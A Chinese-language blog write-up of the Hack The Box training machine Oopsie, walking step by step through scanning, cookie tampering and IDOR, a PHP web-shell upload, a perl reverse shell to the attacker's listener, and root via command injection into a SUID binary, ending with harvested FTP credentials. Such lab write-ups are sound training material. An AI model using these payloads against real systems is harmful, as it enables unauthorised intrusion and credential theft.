渗透笔记之Oopsie
背景
Oopsie 是 Hack The Box 的一台非常简单的入门级靶机。IP 地址是 10.10.10.28,使用 OpenVPƝ 连接靶场网络后便可访问。本文较为完整地记录了对其进行渗透的全过程。
信息收集
端口扫描
使用 Nmap 对靶机进行 TCP 端口扫描:
nmap -sV 10.10.10.28
扫描结果如下图所示,看到靶机开放了 22 和 80 端口。一般来说 22 端口的 OpenSSH 很少会有问题,80 端口的 Web 服务很值得仔细查看。
Web 探测
在浏览器中访问 http://10.10.10.28,看到如下图所示的网页。
在网页下方看到联系信息和公司名 MegaCorp
,如下图所示。
Hack The Box 的第一台靶机 Archetype 的管理员密码是 MEGACORP_4dm1n!!
,看上去像是 MegaCorp admin
的变形,说不定有联系。
再没有发现其他可疑信息。按惯例查看网页源码,看到 <script src="/cdn-cgi/login/script.js"></script>
,如下图所示。
看上去 /cdn-cgi/login/
像是一个登录页面,在浏览器中访问看到如下图所示的网页。
尝试用 admin
和 MEGACORP_4dm1n!!
登录,居然就成功了。登录后看到有一个页面显示了当前登录的用户,如下图所示。
还有一个 Uploads
页面,但点击发现需要 super admin
权限,如下图所示。
按惯例使用 gobuster 对 Web 路径进行扫描:
gobuster dir --url http://10.10.10.28/ --wordlist /usr/share/wordlist/dirb/big.txt
扫描结果如下图所示。
看到扫出了 uploads
目录,但访问发现返回了 Forbidden
,如下图所示。
漏洞利用
越权
出于习惯查看 Cookie,看到的 Cookie 如下图所示。
看到有一个键为 role
的 Cookie,值是 admin
,有一个键为 user
的 Cookie,值是 34322
,再没有其他 Cookie,这意味着只要知道其他用户的 role
和 user
,便可以以其他用户的身份登录。而 34322
这个数字曾出现在显示当前登录用户的页面中,是 Access ID
。回到这个页面,观察到它的 URL:
http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1
其中有很可疑的参数 id=1
,试着把 id
改为 2
,发现没有报错,但也没有显示任何用户,如下图所示。
不要轻易放弃,继续尝试,把 id
改为 3
,结果和上图一样。把 id
改为 4
,出现了一个新的用户,如下图所示。
但这不是我们想要的 super admin
,继续修改 id
,依次尝试5、6、7、…….,直到把 id
改为 30
,终于看到了 super admin
,如下图所示。
现在我们知道了 super admin
的 Access ID
是 86575
了 。修改 Cookie,把 role
改成 super admin
,把 user
改成 86575
,并刷新页面,现在可以打开 Uploads
页面了,如下图所示。
上传
准备文件 shell.php
,内容为:
<?php echo shell_exec($_GET['shell']);?>
然后上传,居然就成功了,都没有对 php
文件的过滤。但上传到哪里去了呢?结合 Web 路径扫描结果,猜测上传到了 /uploads/shell.php
,尝试访问 http://10.10.10.28/uploads/shell.php?shell=id
,看到 id
命令被成功执行,如下图所示,说明这个猜测是正确的。
然后用 nc -nvlp 4444
监听 4444 端口,并在浏览器中访问:
http://10.10.10.28/uploads/shell.php?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.14.33:4444%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27
成功建立了反弹 shell,如下图所示。
但权限很低,是 www-data
,需要提权。
提权
提升 Shell
拿到的反弹 Shell 是非交互式的,为便于操作,下载 socat,并使用 socat 发起新的反弹 Shell 到 3333 端口,操作如下图所示。
使用 nc 监听 3333 端口,成功获得交互式 Shell,如下图所示。
提权到普通用户
在上面的步骤中,我们修改 id
为不同的值获得了不同的返回结果,很明显网站是连接了数据库的。在 /var/www/html/cdn-cgi/login
下看到有文件 db.php
,查看其内容意外地收获了一对用户名和密码 :robert
: M3g4C0rpUs3r!
,如下图所示。
用户名是 robert
,不是常见的 root
,值得注意。用 ls /home
查看系统用户发现恰好有一个名为 robert
的 Linux 用户。用 su
命令并输入密码便可以切换为 robert
用户,如下图所示。
提权到 root
用 ls -lh $(find / -perm -u=s -type f 2>/dev/null)
查看具有 SUID 的可执行文件,看到了一个奇怪的程序:
-rwsr-xr-- 1 root bugtracker 8.6K Jan 25 10:14 /usr/bin/bugtracker
如下图所示。
这个程序得是 root
或是 bugtracker
组的用户才能执行。用 cat /etc/group | grep bugtracker
查看 bugtracker
组的用户,看到 robert
恰好在其中,如下图所示。
执行 bugtracker
,提示用户输入 Provide Bug ID
,我们随便输入 123
试试,根据错误信息可以判断出这个程序内部调用了 cat
,如下图所示。
再次执行 bugtracker
,输入 123;/bin/bash
做为 Provide Bug ID
,成功获得了具有 root 权限的 Shell,如下图所示。
信息收集
看看 root 用户都有些啥。执行命令:
ls -lRa /root
发现了一个挺有意思的文件,是 /root/.config/filezilla/filezilla.xml
。如下图所示。
内容是:
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<FileZilla3>
<RecentServers>
<Server>
<Host>10.10.10.44</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>ftpuser</User>
<Pass>mc@F1l3ZilL4</Pass>
<Logontype>1</Logontype>
<TimezoneOffset>0</TimezoneOffset>
<PasvMode>MODE_DEFAULT</PasvMode>
<MaximumMultipleConnections>0</MaximumMultipleConnections>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
</RecentServers>
</FileZilla3>
从中可以看到一个 FTP 账号:ftpuser
: mc@F1l3ZilL4
。以后也许用得着。
总结
这台靶机真的非常简单,渗透所用时间和写这篇文章差不多。
拿到 OSCP 认证后我便疏于练习,一转眼半年多过去了,不禁又要感慨逝者如斯夫不舍昼夜
。为防止技艺生疏,我决定在业余时间继续渗透靶机。这也是我的娱乐方式之一。